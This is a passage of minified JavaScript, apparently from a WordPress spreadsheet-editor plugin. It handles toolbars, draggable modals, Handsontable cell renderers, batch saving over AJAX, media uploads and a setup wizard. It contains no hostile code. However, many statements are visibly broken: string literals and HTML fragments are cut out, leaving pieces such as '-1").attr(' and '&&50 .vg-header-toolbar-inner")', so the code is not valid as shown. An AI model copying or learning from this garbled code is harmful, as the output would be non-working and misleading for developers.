a={nonce:jQuery("#vgse-wrapper").data("nonce"),post_type:jQuery("#post-data").data("post-type"),action:"vgse_delete_saved_"+t.prev().data("saved-type"),search_name:t.prev().data("item-name")},r=t.prev().data("reload");t.parent().remove(),jQuery.post(vgse_global_data.ajax_url,a,function(e){r&&window.location.reload()})})}),jQuery(document).ready(function(){if(!jQuery(".vg-toolbar .button-container.require-click-to-expand").length)return!0;jQuery(".vg-toolbar .require-click-to-expand > button").on("click",function(e){var t=jQuery(this).parent();jQuery(".vg-toolbar .require-click-to-expand.expand-submenu").not(t).removeClass("expand-submenu"),t.toggleClass("expand-submenu")}),jQuery("body").on("click",function(e){var t=jQuery(e.target);!jQuery(".button-container.expand-submenu").length||t.parents(".require-click-to-expand").length||t.parents(".select2-container").length||jQuery(".vg-toolbar .button-container.require-click-to-expand.expand-submenu").removeClass("expand-submenu")})}),jQuery(document).ready(function(){vgseInitLazySelects()}),jQuery(document).ready(function(){if(jQuery(window).width()<768)return!0;var e=jQuery(".remodal.remodal-draggable");if(!e.length)return!0;e.each(function(){var e=jQuery(this);e.append(''),function(e,t){var o=0,a=0,r=0,n=0;document.getElementById(e.id+"header")?document.getElementById(e.id+"header").onmousedown=s:e.onmousedown=s;function s(e){(e=e||window.event).preventDefault(),r=e.clientX,n=e.clientY,document.onmouseup=d,document.onmousemove=i}function i(e){(e=e||window.event).preventDefault(),o=r-e.clientX,a=n-e.clientY,r=e.clientX,n=e.clientY,t.style.top=t.offsetTop-a+"px",t.style.left=t.offsetLeft-o+"px"}function d(){document.onmouseup=null,document.onmousemove=null}}(e.find(".drag-modal")[0],e[0])}),jQuery(document).on("opened",".remodal",function(e){var t=jQuery(this);t.hasClass("remodal-draggable")&&t.css({left:t[0].offsetLeft,position:"absolute",top:t[0].offsetTop})}),jQuery(document).on("closed",".remodal",function(e){var t=jQuery(this);t.hasClass("remodal-draggable")&&t.css({left:"",position:"",top:""})})}),jQuery(document).ready(function(){var $=jQuery;function r(a){$.get(vgse_global_data.ajax_url,{action:a.data("ajax-action"),nonce:jQuery(".remodal-bg").data("nonce"),postType:vgse_editor_settings.post_type,post_type:vgse_editor_settings.post_type,is_editor_page:!0},function(e){if(e.success){var t=jQuery(e.data.html);if(a.hasClass("custom-ajax-insert")||a.find(".modal-content").replaceWith(t.find(".modal-content")),a.removeClass("lazy-modal-content"),a.trigger("vgSheetEditor:remodal:ajaxContentInserted",e),$("body").trigger("vgSheetEditor:remodal:ajaxContentInserted",e),a.data("live-refresh")&&!a.data("intervalId")){var o=setInterval(function(){a.data("pauseAutoReload")||r(a)},1e3*parseInt(a.data("live-refresh")));a.data("intervalId",o)}}})}jQuery(document).on("opening",".remodal[data-ajax-action]",function(){r(jQuery(this))}),jQuery(document).on("closed",".remodal[data-ajax-action]",function(){var e=parseInt(jQuery(this).data("intervalId"));e&&(clearInterval(e),jQuery(this).data("intervalId",!1))}),jQuery(document).on("vgSheetEditor:refreshRemodalContent",".remodal[data-ajax-action]",function(){jQuery(this).is(":visible")&&r(jQuery(this))})}),jQuery(document).ready(function(){if("undefined"==typeof hot)return!0;hot.updateSettings({cells:function(e,t,o){var a=this.instance.toVisualRow(e),r={},n=this.className||"";n=n.replace(/bg-[a-z0-9]+/gi,""),"object"==typeof vgse_editor_settings.columnsBackgroundColors&&"string"==typeof vgse_editor_settings.columnsBackgroundColors[o]&&vgse_editor_settings.columnsBackgroundColors[o]&&(n+=" bg-"+vgse_editor_settings.columnsBackgroundColors[o].replace("#","")),vgse_editor_settings.add_html_class_status_value&&"post_status"===o&&(n=n.replace(/status-[a-zA-Z]+/g,""),(d=hot.getDataAtCell(a,t))&&(n+=" status-"+d.replace(/[^a-zA-Z]+/g,"")));r.className=n;var s=vgse_editor_settings.final_spreadsheet_columns_settings[o];if(s){if(!s.is_locked&&(vgse_editor_settings.watch_cells_to_lock||"post_status"===o))if((d=hot.getDataAtCell(a,t))&&"string"==typeof d&&-1").attr("value",vgseStripHtml(e)).text(vgseStripHtml(e));o.$select.append(t)}),o.$select.trigger("chosen:updated"),o.setValue(a),o.$parent.find(".search-field").removeClass("wpse-is-loading")};var r=function(e,t){t&&t.selected&&(this.$select.find("option").filter(function(){return jQuery(this).val()===t.selected}).appendTo(this.$select),this.$select.trigger("chosen:updated"))},n=function(){this.cellProperties.chosenOptions.multiple||(this.close(),this.finishEditing())},i=function(e){var t=this.getActiveEditor(),o=s.helper.KEY_CODES,a=(e.ctrlKey||e.metaKey)&&!e.altKey;if("INPUT"===e.target.tagName)if(17!==e.keyCode&&224!==e.keyCode&&91!==e.keyCode&&93!==e.keyCode){var r=e.target;switch(e.keyCode){case o.ARROW_RIGHT:s.dom.getCaretPosition(r)!==r.value.length?e.stopImmediatePropagation():t.$select.trigger("chosen:close");break;case o.ARROW_LEFT:0!==s.dom.getCaretPosition(r)?e.stopImmediatePropagation():t.$select.trigger("chosen:close");break;case o.ENTER:t.cellProperties.chosenOptions.multiple&&(e.stopImmediatePropagation(),e.preventDefault(),e.stopPropagation());break;case o.A:case o.X:case o.C:case o.V:a&&e.stopImmediatePropagation();break;case o.BACKSPACE:var n=jQuery(t.TEXTAREA_PARENT).find("input").val();jQuery(t.TEXTAREA_PARENT).find("input").val(n.substr(0,n.length-1)).trigger("keyup.chosen"),e.stopImmediatePropagation();break;case o.DELETE:case o.HOME:case o.END:e.stopImmediatePropagation()}}else e.stopImmediatePropagation()};e.prototype.close=function(){this.setValue(this.getValue()),s.editors.SelectEditor.prototype.close.apply(this,arguments),this.instance.removeHook("beforeKeyDown",i),this.$parent.hide(),this.$select.off(),this.$select.hide()},e.prototype.finishEditing=function(e,t){return s.editors.SelectEditor.prototype.finishEditing.apply(this,arguments)},e.prototype.beginEditing=function(e,t){var o=this.instance.getSettings().onBeginEditing;if(!o||!1!==o()){var a=this;t instanceof KeyboardEvent&&"Enter"===t.key?setTimeout(function(){s.editors.SelectEditor.prototype.beginEditing.apply(a,arguments)},250):s.editors.SelectEditor.prototype.beginEditing.apply(this,arguments)}},e.prototype.getValue=function(){var e=function(e){for(var t,o=[],a=e&&e.options,r=0,n=a.length;r");var t=null,a=(this.originalValue+"").split(vgse_editor_settings.taxonomy_terms_separator).map(function(e){return e.trim()});if(e.data&&e.data.length)for(var r=0;r")).attr("value",e.data[r].id),t.html(e.data[r].label),-1{multiple_previews_button}{value_teaser}';var f="";if(u&&u.indexOf(",")<0){var m=(0===u.indexOf(window.location.protocol+"//"+window.location.host)?u.replace(/\?.+/,""):u).split("."),y=m[m.length-1].toLowerCase();-1':"";g=g.replace("{multiple_previews_button}",h)}if(!vgse_editor_settings.dont_display_file_names_image_columns){if(n){var v=p.join(", "),_=vgseStripHtml(v.substring(0,40));40 '+g).replace(/set_custom_images|view_custom_images/g,"")),t.innerHTML=g,t}),(p=Handsontable).renderers.registerRenderer("wp_tinymce",function(e,t,o,a,r,n,s){p.renderers.BaseRenderer.apply(this,arguments),jQuery("#post-data").data("post-type");var i=vgse_editor_settings.final_spreadsheet_columns_settings[r];void 0===i.formatted.wpse_template_key&&(i.formatted.wpse_template_key="tinymce_cell_template");var d=vgse_editor_settings[i.formatted.wpse_template_key],l=parseInt(j.getDataAtRowProp(o,"ID")),u=vgseGetRowTitle(o)||String(l);if(d=(d=(d=d.replace(/\{key\}/g,r)).replace(/\{type\}/g,i.data_type)).replace(/\{id\}/g,l),"string"==typeof u&&(d=d.replace(/\{post_title\}/g,u.replace(/"/g,""))),n){var c=vgse_editor_settings.tinymce_preview_characters_limit;d+=vgseStripHtml(n).substring(0,c),n.length>c&&(d+="...")}else d+="("+vgse_editor_settings.texts.empty+")";return i.formatted.readOnly&&(d=(d=' '+d).replace(/btn-popup-content/g,"")),t.innerHTML=d,t}),(g=Handsontable).renderers.registerRenderer("wp_handsontable",function(e,t,o,a,r,n,s){g.renderers.BaseRenderer.apply(this,arguments),jQuery("#post-data").data("post-type");var i=vgse_editor_settings.final_spreadsheet_columns_settings[r],d=vgse_editor_settings.handsontable_cell_template,l=parseInt(j.getDataAtRowProp(o,"ID")),u=(d=(d=(d=d.replace(/\{key\}/g,r)).replace(/\{type\}/g,i.data_type)).replace(/\{id\}/g,l),vgseGetRowTitle(o)||String(l)),c=(d=d.replace(/\{post_title\}/g,u.replace(/"/g,"")),j.getSourceData()),p=jQuery.extend(!0,i,c[o]);return p.post_id=l,d=(d=(d=d.replace(/\{modal_settings\}/g,vgseEscapeHTML(JSON.stringify(p)))).replace(/\{value\}/g,vgseEscapeHTML(JSON.stringify(n)))).replace(/\{button_label\}/g,p.edit_button_label),d+=n&&"[]"!==n?" ...":" ("+vgse_editor_settings.texts.empty+")",i.formatted.readOnly&&(d=(d=' '+d).replace(/(btn-popup-content|button-custom-modal-editor|button-handsontable)/g,"")),t.innerHTML=d,t}),(l=Handsontable).renderers.registerRenderer("wp_friendly_select",function(e,t,o,a,r,n,s){l.renderers.BaseRenderer.apply(this,arguments);var i=vgse_editor_settings.final_spreadsheet_columns_settings[r],d=n;return n&&void 0!==i.formatted.selectOptions[n]&&(d=i.formatted.selectOptions[n]),t.innerHTML=d,t}),(c=Handsontable).renderers.registerRenderer("wp_external_button",function(e,t,o,a,r,n,s){c.renderers.BaseRenderer.apply(this,arguments);var i=vgse_editor_settings.final_spreadsheet_columns_settings[r];if(n)var d=' '+i.title+"";else d="";return t.innerHTML=d,t}),(f=Handsontable).renderers.registerRenderer("wp_locked",function(e,t,o,a,r,n,s){f.renderers.BaseRenderer.apply(this,arguments);var i=jQuery("#post-data").data("post-type"),d=vgse_editor_settings.final_spreadsheet_columns_settings[r];if(d.lock_template_key||(d.lock_template_key="lock_cell_template"),"string"==typeof n){var l=vgse_editor_settings.max_value_length_locked_cells||55;(n=vgseStripHtml(n).substring(0,l)).length>l&&(n+="...")}if("string"==typeof n&&-1',a=jQuery(".vi-preview-wrapper");jQuery(window).width()-a.width()');var o=jQuery("#vgse-wrapper");o.length&&o.find(".vg-toolbar input:checkbox").labelauty();var j,m=jQuery("#post-data"),a=(jQuery("#responseConsole"),jQuery("#vgse-wrapper"));format=!jQuery("#formato").is(":checked"),setTimeout(function(){vgseInitSelect2()},2e3);var r={comments:vgse_editor_settings.allow_cell_comments,colWidths:vgObjectToArray(vgse_editor_settings.colWidths),colHeaders:vgObjectToArray(vgse_editor_settings.colHeaders),columns:_(format),rowHeaders:!0,startRows:vgse_editor_settings.startRows,startCols:vgse_editor_settings.startCols,currentRowClassName:"currentRow",currentColClassName:"currentCol",fillHandle:!1,columnSorting:!0,manualColumnFreeze:!0,manualColumnMove:!0,contextMenu:{items:{undo:{},redo:{},separator1:{name:"---------"},copy:{},cut:{},how_to_paste:{name:vgse_editor_settings.texts.how_to_paste},separator2:{name:"---------"},make_read_only:{},freeze_column:{},unfreeze_column:{},delete_row:{name:vgse_editor_settings.texts.delete_row,hidden:function(){return!j.getSelected()||!vgse_editor_settings.can_delete_row},callback:function(e,t,o){var a=[],r=[];if(t.forEach(function(e){e.start.row"+vgse_editor_settings.texts.no_changes_to_save+"

    "),loading_ajax({estado:!1}),s.find(".remodal-cancel").removeClass("hidden"),s.find(".be-loading-anim").hide(),vgseAllowToClosePageWithoutWarning(!0),setTimeout(function(){beSetSaveButtonStatus(!1),s.find(".remodal-cancel").click()},500),notification({mensaje:vgse_editor_settings.texts.no_changes_to_save,tipo:"info"}),!0;var o=jQuery(".remodal-bg").data("nonce"),a={classname:"be-progress-bar",id:"be-progress-bar",target:document.getElementById("be-nanobar-container")},d=new Nanobar(a);d.go(1);var r=Math.ceil(i.length/parseInt(vgse_editor_settings.save_posts_per_page));jQuery(".saving-now-message").show(),1"+e.data.message+"

    "),e.allowRetry&&confirm(e.data.message)?(t.current--,jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight),!0):(vgse_editor_settings.enable_auto_saving?jQuery(s).find(".response").append(vgse_editor_settings.texts.auto_saving_stop_error):jQuery(s).find(".response").append(vgse_editor_settings.texts.saving_stop_error),s.find(".remodal-cancel").removeClass("hidden"),s.find(".be-loading-anim").hide(),jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight),vgse_editor_settings.enable_auto_saving&&(n.text(n.data("unsaved-changes")),jQuery('[data-remodal-id="bulk-save"]').is(":visible")||jQuery('[data-remodal-id="bulk-save"]').remodal().open()),!1);d.go(t.current/t.totalCalls*100),e.data.deleted.length&&vgseRemoveRowFromSheetByID(e.data.deleted);var o=parseInt(vgse_editor_settings.save_posts_per_page)*t.current>i.length?i.length:parseInt(vgse_editor_settings.save_posts_per_page)*t.current,a=(a=vgse_editor_settings.texts.paged_batch_saved.replace("{updated}",o)).replace("{total}",i.length);if(jQuery(s).find(".response").append("

    "+a+"

    "),t.current===t.totalCalls){jQuery(".tip-saving-speed-message, .saving-now-message").hide();var r=vgse_editor_settings.texts.everything_saved;if(vgse_editor_settings.texts.ask_review&&(r+="
    "+vgse_editor_settings.texts.ask_review),jQuery(s).find(".response").empty().append('

    '+r+"

    "),loading_ajax({estado:!1}),notification({mensaje:vgse_editor_settings.texts.everything_saved}),s.find(".remodal-cancel").removeClass("hidden"),s.find(".be-loading-anim").hide(),jQuery("body").trigger("vgSheetEditor/afterSavingChanges"),vgseAllowToClosePageWithoutWarning(!0),beSetSaveButtonStatus(!1),window.beOriginalData=jQuery.extend(!0,[],j.getSourceData()),j.getSourceData().forEach(function(e,t){void 0!==e.post_status&&"delete"===e.post_status&&j.alter("remove_row",t)}),1===t.totalCalls&&jQuery('[data-remodal-id="bulk-save"]').is(":visible")&&setTimeout(function(){jQuery('[data-remodal-id="bulk-save"]').remodal().close()},500),vgse_editor_settings.enable_auto_saving){var n=jQuery(".button-container.auto_saving_status-container a");n.text(n.data("saved-changes"))}}return setTimeout(function(){jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight)},600),!0},onError:function(e,t,o){var a=vgse_editor_settings.enable_auto_saving?vgse_editor_settings.texts.auto_saving_http_error_try_now:vgse_editor_settings.texts.http_error_try_now,r=confirm(a);return s.find(".be-loading-anim").hide(),r?(window.vgseDontNotifyServerError=!0,o.current--,d.go(o.current/o.totalCalls*100),jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight),!0):(vgse_editor_settings.enable_auto_saving?jQuery(s).find(".response").append(vgse_editor_settings.texts.auto_saving_stop_error):jQuery(s).find(".response").append(vgse_editor_settings.texts.saving_stop_error),s.find(".remodal-cancel").removeClass("hidden"),jQuery(".bulk-saving-screen .response").scrollTop(jQuery(".bulk-saving-screen .response")[0].scrollHeight),vgse_editor_settings.enable_auto_saving&&n.text(n.data("unsaved-changes")),!1)}})}),"undefined"!=typeof wp&&wp.media&&jQuery("body").on("click",".set_custom_images:not(.multiple)",function(e){e.preventDefault(),loading_ajax({estado:!0});var a=jQuery(this),t=a.parent("td"),r=j.getCoords(t[0]),n=jQuery("html,body").scrollLeft(),o=(a.data("id"),a.data("key"),a.data("type"),a.data("file")),s=[],i=jQuery(document).scrollTop(),d=jQuery("#infinito").prop("checked");return jQuery("#infinito").prop("checked",!1),media_uploader=wp.media({frame:"post",state:"insert",multiple:!1}),media_uploader.state("embed").on("select",function(){var e=media_uploader.state(),t=e.get("type"),o=e.props.toJSON();o.url=o.url||"","image"===t&&o.url&&wpsePrepareGalleryFilesForCellFormat([{url:o.url,id:o.url}],r)}),media_uploader.on("open",function(){var e=media_uploader.state().get("selection");o&&e.add(wp.media.attachment(o))}),media_uploader.on("close",function(){jQuery("html,body").scrollLeft(n),jQuery(window).scrollTop(i),jQuery("#infinito").prop("checked",d)}),media_uploader.on("insert",function(){jQuery("html,body").scrollLeft(n);var e=media_uploader.state().get("selection").length,t=media_uploader.state().get("selection").models;if(!t.length)return!0;for(var o=0;o'}),jQuery("div[data-remodal-id=image] .modal-content").html(a),jQuery("[data-remodal-id=image]").remodal()}),jQuery("button.siguiente").on("click",function(){var e=jQuery(this);e.parents(".modal-tinymce-editor").length&&d();var t=e.data("pos"),o=e.parents(".remodal").data("column-key"),a=jQuery(j.getCell(t,j.propToCol(o)));e.data("delay")?setTimeout(function(){a.find(".button").click()},parseInt(e.data("delay"))):a.find(".button").trigger("click")}),jQuery("button.anterior").on("click",function(){var e=jQuery(this);e.parents(".modal-tinymce-editor").length&&d();var t=e.data("pos"),o=e.parents(".remodal").data("column-key"),a=jQuery(j.getCell(t,j.propToCol(o)));e.data("delay")?setTimeout(function(){a.find(".button").trigger("click")},parseInt(e.data("delay"))):a.find(".button").trigger("click")}),jQuery("body").on("click",".btn-popup-content",function(){var e=jQuery(this),t=e.data("id"),o=e.data("key"),a=e.data("type"),r=j.countRows(),n=jQuery(this).parent("td"),s=j.getCoords(n[0]),i=vgseGetRowTitle(s.row),d=s.row,l=jQuery(".modal-tinymce-editor");0===d?(l.find("button.anterior").hide(),l.find("button.anterior").next("[data-wpse-tooltip]").hide()):(l.find("button.anterior").show(),l.find("button.anterior").next("[data-wpse-tooltip]").show()),d===r-1?(l.find("button.siguiente").hide(),l.find("button.siguiente").next("[data-wpse-tooltip]").hide()):(l.find("button.siguiente").show(),l.find("button.siguiente").next("[data-wpse-tooltip]").show()),l.find("button.anterior").data("pos",d-1),l.find("button.siguiente").data("pos",d+1),i?jQuery(".modal-tinymce-editor .post-title-modal span").text(i).show():jQuery(".modal-tinymce-editor .post-title-modal").hide(),jQuery(".modal-tinymce-editor .remodal-confirm").data("post_id",t),jQuery(".modal-tinymce-editor").data("column-key",o),jQuery(".modal-tinymce-editor .remodal-confirm").data("type",a),jQuery(".modal-tinymce-editor .remodal-confirm").data("cellCoords",s),jQuery('[data-remodal-id="editor"]').remodal().open()}),jQuery(document).on("opened",'[data-remodal-id="editor"]',function(e){var t=jQuery(this).find(".remodal-confirm").data("cellCoords"),o=j.getDataAtCell(t.row,t.col);window.tinymceEditorInitialized?i(o):(window.tinymceEditorInitialized=!0,jQuery("html").addClass("wpse-loading-tinymce"),tinyMCEPreInit.mceInit.editpost.setup=function(e){e.on("init",function(e){i(o)})},wp.editor.initialize("editpost",{tinymce:tinyMCEPreInit.mceInit.editpost,quicktags:tinyMCEPreInit.qtInit.editpost,mediaButtons:!0}))}),jQuery(".guardar-popup-tinymce").on("click",function(e){d()}),jQuery("body").on("click",".wpse-disable-if-unsaved-changes.disabled",function(e){alert(vgse_editor_settings.texts.save_changes_before_using_tool)}),jQuery(".pagination-jump input").on("keyup",function(e){var t=parseInt(jQuery(this).val()),o=parseInt(jQuery(this).attr("max"));if(13==e.keyCode&&t!==window.beCurrentPage&&1<=t&&t<=o)return vgseReloadSpreadsheet(!0,null,t),jQuery(this).blur(),!0}),jQuery("body").on("click",".load-more",function(){format=!!jQuery("#formato").is(":checked");var e=jQuery(".remodal-bg").data("nonce");if(jQuery(this).data("pagination")){var t=parseInt(jQuery(this).data("pagination"));return t&&t!==window.beCurrentPage&&vgseReloadSpreadsheet(!0,null,t),!0}var o=window.beCurrentPage+1;beLoadPosts({post_type:m.data("post-type"),paged:o,nonce:e},function(e){if(e.success){vgseAddFoundRowsCount(e.data.total),vgAddRowsToSheet(e.data.rows),loading_ajax({estado:!1});var t=e.data.message||vgse_editor_settings.texts.posts_loaded;notification({mensaje:t}),window.scrroll=!0,e.data&&e.data.rows.length||(window.scrroll=!1)}else loading_ajax({estado:!1}),notification({mensaje:e.data.message,tipo:"info",time:3e4}),window.scrroll=!1})}),jQuery("#post-data").offset(),window.scrroll=!0,window.isAddColumnNotified=!1,j.countRows();var y=jQuery(".ht_clone_top").width()>jQuery(window).width(),h=jQuery(document).width()+200>jQuery(window).width(),v=jQuery("#infinito");function _(e){if(!0===e)var t=vgse_editor_settings.columnsFormat;else t=vgse_editor_settings.columnsUnformat;var a=vgObjectToArray(t);return a.forEach(function(o,e){"string"==typeof o.source&&("loadTaxonomyTerms"===o.source&&(a[e].source=_throttle(function(e,t){return o=t,a=jQuery(".remodal-bg").data("nonce"),r=jQuery("#post_type_new_row").val(),n=j.colToProp(j.getSelected()[0][1]),s=vgse_editor_settings.columnsFormat[n].taxonomy_key||n,void 0===window.wpseTaxonomyTerms&&(window.wpseTaxonomyTerms={}),void(void 0===window.wpseTaxonomyTerms[s]?(window.wpseTaxonomyTerms[s]=[],jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_get_taxonomy_terms",taxonomy_key:s,nonce:a,post_type:r,wpse_source:"taxonomy_column"},success:function(e){window.wpseTaxonomyTerms[s]=e.data,o(e.data)}})):o(window.wpseTaxonomyTerms[s]));var o,a,r,n,s},1500,{leading:!0,trailing:!0})),"searchPostByKeyword"===o.source&&(a[e].source=_throttle(function(e,t){return function(e,o,t){if(!e)return o([]);var a=jQuery(".remodal-bg").data("nonce"),r=t||jQuery("#post_type_new_row").val();jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_find_post_by_name",search:e,nonce:a,post_type:r,wpse_source:"post_dropdown_column"},success:function(e){var t=[];e.success&&e.data.data.forEach(function(e){t.push(e.title)}),o(t)}})}(e,t,o.searchPostType)},1500,{leading:!0,trailing:!0})),"searchUsers"===o.source&&(a[e].source=_throttle(function(e,t){return o=e,a=t,r=jQuery(".remodal-bg").data("nonce"),n=vgse_editor_settings.post_type,void jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_find_users_by_keyword",search:o,nonce:r,post_type:n,wpse_source:"users_dropdown_column"},success:function(e){var t=[];e.success&&(t=e.data.data),a(t)}});var o,a,r,n},1500,{leading:!0,trailing:!0})))}),a}function b(e,t,o,a,r,n,s){var i=jQuery(window).scrollTop(),d=scrollDown(a+e),l=jQuery(window).scrollLeft();d&&"top"===e&&(rjQuery(window).height()&&void 0!==window.beOriginalData&&parseInt(jQuery(window).scrollTop()+jQuery(window).height())==jQuery(document).height()&&!0===window.scrroll&&e&&(jQuery(".load-more").trigger("click"),window.scrroll=!1);var t=jQuery(window).scrollLeft()+jQuery(window).width()>=jQuery(document).width()-400;y&&vgse_editor_settings.texts.hint_missing_column_on_scroll&&h&&t&&!window.isAddColumnNotified&&!e&&(window.isAddColumnNotified=!0,notification({mensaje:vgse_editor_settings.texts.hint_missing_column_on_scroll,tipo:"info",time:8e4,position:"bottom"}))},500,{leading:!0,trailing:!0})),jQuery("body").on("click",".show-column-missing-tips",function(e){e.preventDefault(),setTimeout(function(){jQuery(".modal-columns-visibility").parent().scrollTop(jQuery(".missing-column-tips").offset().top)},250)}),jQuery("body").on("click",".wpse-enable-locked-cell",function(e){e.preventDefault();var t=j.colToProp(j.getSelected()[0][1]);vgse_editor_settings.lockedColumnsManuallyEnabled.push(t);var o=j.propToCol(t),a=j.getDataAtCell(1,o);j.setDataAtCell(1,o,a)}),jQuery("#formato").on("change",function(){format=!jQuery(this).is(":checked");var e=_(format);"function"==typeof vgseColumnsVisibilityUpdateHOT&&window.vgseColumnsVisibilityUsed?vgseColumnsVisibilityUpdateHOT(e,vgse_editor_settings.colHeaders,vgse_editor_settings.colWidth,"softUpdate"):j.updateSettings({columns:e})}),jQuery("#addrow").on("click",function(){var e=jQuery(".remodal-bg").data("nonce"),o=jQuery("#post_type_new_row").val(),a=jQuery(this).next(".number_rows").length&&jQuery(this).next(".number_rows").val()?parseInt(jQuery(this).next(".number_rows").val()):1,t=void 0!==window.wpseAddRowExtraData?window.wpseAddRowExtraData:null;loading_ajax({estado:!0}),jQuery.ajax({type:"POST",url:vgse_global_data.ajax_url,data:{action:"vgse_insert_individual_post",nonce:e,post_type:o,rows:a,extra_data:t},dataType:"json",success:function(e){if(e.success){vgseAddFoundRowsCount(window.beFoundRows+parseInt(a)),vgAddRowsToSheet(e.data.message,"prepend"),loading_ajax({estado:!1}),notification({mensaje:vgse_editor_settings.texts.new_rows_added});var t=jQuery(".be-spreadsheet-wrapper").offset().top-jQuery("#vg-header-toolbar").height()-20;vgseIsInViewport(jQuery(".be-spreadsheet-wrapper"))||jQuery(window).scrollTop(t)}else loading_ajax({estado:!1}),notification({mensaje:e.data.message,tipo:"error",tiempo:6e4});jQuery("body").trigger("vgSheetEditor:afterNewRowsInsert",[e,o,a])}})}),jQuery("#addrow2").on("click",function(){jQuery("#addrow").trigger("click")}),jQuery("#vg-header-toolbar").length&&window.location.href.indexOf("wpse_no_sticky_toolbar")<0){var Q=jQuery("#vg-header-toolbar").outerHeight(),x=jQuery("#vg-header-toolbar").offset().left,T=jQuery("#vg-header-toolbar-placeholder").offset().top,k=jQuery("#vg-header-toolbar.js-sticky-top"),C=jQuery("#vg-header-toolbar-placeholder");k.hasClass("js-sticky-top")&&(jQuery(window).on("scroll",_throttle(function(){b("top",k,C,"menu",T,Q,x)},20)),b("top",k,C,"menu",T,Q,x)),k.hasClass("js-sticky-left")&&(jQuery(window).on("scroll",_throttle(function(){b("left",k,C,"menu",T,Q,x)},5)),b("left",k,C,"menu",T,Q,x))}var E=jQuery("#vg-footer-toolbar.js-sticky");if(E.length){var S=E.outerHeight(),A=E.offset().left,R=E.offset().top,D=E,P=jQuery("#vg-footer-toolbar-placeholder");jQuery(window).on("scroll",_throttle(function(){b("left",D,P,"footer",R,S,A)},5)),b("left",D,P,"footer",R,S,A)}jQuery("body").trigger("vgSheetEditor:afterInit"),jQuery(window).width()<1200&&50 .vg-header-toolbar-inner").height()&&jQuery(".vg-secondary-toolbar .vg-header-toolbar-inner div.clear").before(jQuery("#vg-header-toolbar > .vg-header-toolbar-inner > .button-container:gt(-3)"))});lastScrollTop={};function scrollDown(e){lastScrollTop[e]||(lastScrollTop[e]=0);var t=jQuery(window).scrollTop();return down=t!==lastScrollTop[e],lastScrollTop[e]=t,down}vgseClosePageWithoutWarning=!1,vgseAllowToClosePageWithoutWarning=function(e){(vgseClosePageWithoutWarning=e)&&(window.wpseAutoSavingInProgress=!e)};function initHandsontableForPopup(e,n){if("handsontable"===n.type){"string"==typeof e&&(e=JSON.parse(e)),e=e||[];var t,o=n.handsontable_column_widths[n.post_type],a=n.handsontable_column_names[n.post_type],r=n.handsontable_columns[n.post_type],s=document.getElementById("handsontable-in-modal");window.hotAttr&&!window.hotAttr.isDestroyed&&window.hotAttr.destroy(),!(t=e.custom_handsontable_args?e.data:e).length&&window.wpseCurrentPopupSourceCoords.cellValue&&(t=window.wpseCurrentPopupSourceCoords.cellValue);var i={data:t,minSpareRows:1,wordWrap:!0,colWidths:o,allowInsertRow:!0,columnSorting:!0,colHeaders:a,columns:r,afterColumnSort:function(e,t){if("_vgse_create_attribute"===n.key){var o=window.hotAttr.getSourceData(),a=window.hotAttr.getDataAtProp("name"),r=[];o.forEach(function(e){r[e.name]=e}),a.forEach(function(e,t){r[e].position=t})}}},d=jQuery.extend(i,e.custom_handsontable_args);window.hotAttr=new Handsontable(s,d)}else"metabox"===n.type&&initEditorIframe(n);loading_ajax({estado:!1})}function initEditorIframe(n){window.$iframeWrappers=jQuery(".vgca-iframe-wrapper");var e=window.$iframeWrappers;e.show(),e.find("iframe").remove();var t=e.find(".iframe-template").prop("outerHTML").replace(/div/g,"iframe"),o=jQuery(t);o.removeClass("iframe-template"),o.attr("src",o.data("src")+n.post_id+"&wpse_column="+n.key),e.append(o),jQuery(".custom-modal-editor").addClass("modal-editor-"+n.key),window.vgcaIsFrontendSession=[],$iframeWrappers.each(function(){var a=jQuery(this),r=a.find("iframe");window.location.hash,r.data("lastPage",r.contents().get(0).location.href),window.vgcaIsFrontendSession.push(setInterval(function(){var e=r.contents().get(0).location.href;e!==r.data("lastPage")&&($iframeWrappers.css("height",""),r.css("height",""),r.data("lastPage",e));var t=null;try{t=r.contents()}catch(e){}if(t){r.height(700),a.height(700);var o=t.find(n.metabox_show_selector);o.removeClass("acf-hidden").removeClass("hidden").attr("hidden","").attr("style","display: block !important; visibility: 1 !important; opacity: 1 !important;"),o.siblings().filter(function(){return!(jQuery(this).hasClass("mce-container")||jQuery(this).hasClass("ui-autocomplete")||jQuery(this).attr("id")&&-1 "),jQuery(".post-types-form input:radio").first().prop("checked",!0),jQuery(".post-types-form .save-trigger").trigger("click"))}function vgsePostTypeSetupPostTypesSaved(e){var t=e.form.parents("li");t.hide();var o=t.next();o.show(),o.hasClass("setup_columns")&&jQuery.get(vgse_global_data.ajax_url,{action:"vgse_post_type_setup_columns_visibility",nonce:jQuery(".post-type-setup-wizard").data("nonce"),post_type:jQuery(".post-types-form input:radio:checked").val()},function(e){o.append(e.data.html),o.find('[name="save_post_type_settings"]').prop("checked",!0),"undefined"!=typeof vgseColumnsVisibilityInit&&vgseColumnsVisibilityInit()})}function vgsePostTypeSetupColumnSaved(e){jQuery("#vgse-columns-enabled").append('
  • :: '+e.response.data.label+'
  • ')}function vgsePostTypeSetupColumnsVisibilitySaved(e){window.location.href=e.response.data.post_type_editor_url}jQuery(window).on("beforeunload",function(){if(jQuery(".be-spreadsheet-wrapper").length)var e=beGetModifiedItems(hot.getSourceData(),window.beOriginalData);else e=[];if(jQuery(".be-spreadsheet-wrapper").length&&e.length&&!vgseClosePageWithoutWarning)return vgse_editor_settings.texts.save_changes_on_leave}),jQuery(document).ready(function(){var e=jQuery(".quick-setup-page-content");if(!e.length)return!0;function n(){jQuery(".setup-step.active").removeClass("active").next().addClass("active"),jQuery(" #vgse-wrapper .progressbar li.active").removeClass("active").next().addClass("active")}e.find(".step-back").on("click",function(e){e.preventDefault(),jQuery(".setup-step.active").removeClass("active").prev().addClass("active"),jQuery(" #vgse-wrapper .progressbar li.active").removeClass("active").prev().addClass("active")}),e.find(".save-all-trigger").on("click",function(e){e.preventDefault();var t=jQuery(this).parents(".setup-step"),o=t.find("form");if(loading_ajax({estado:!0}),!o.length)return 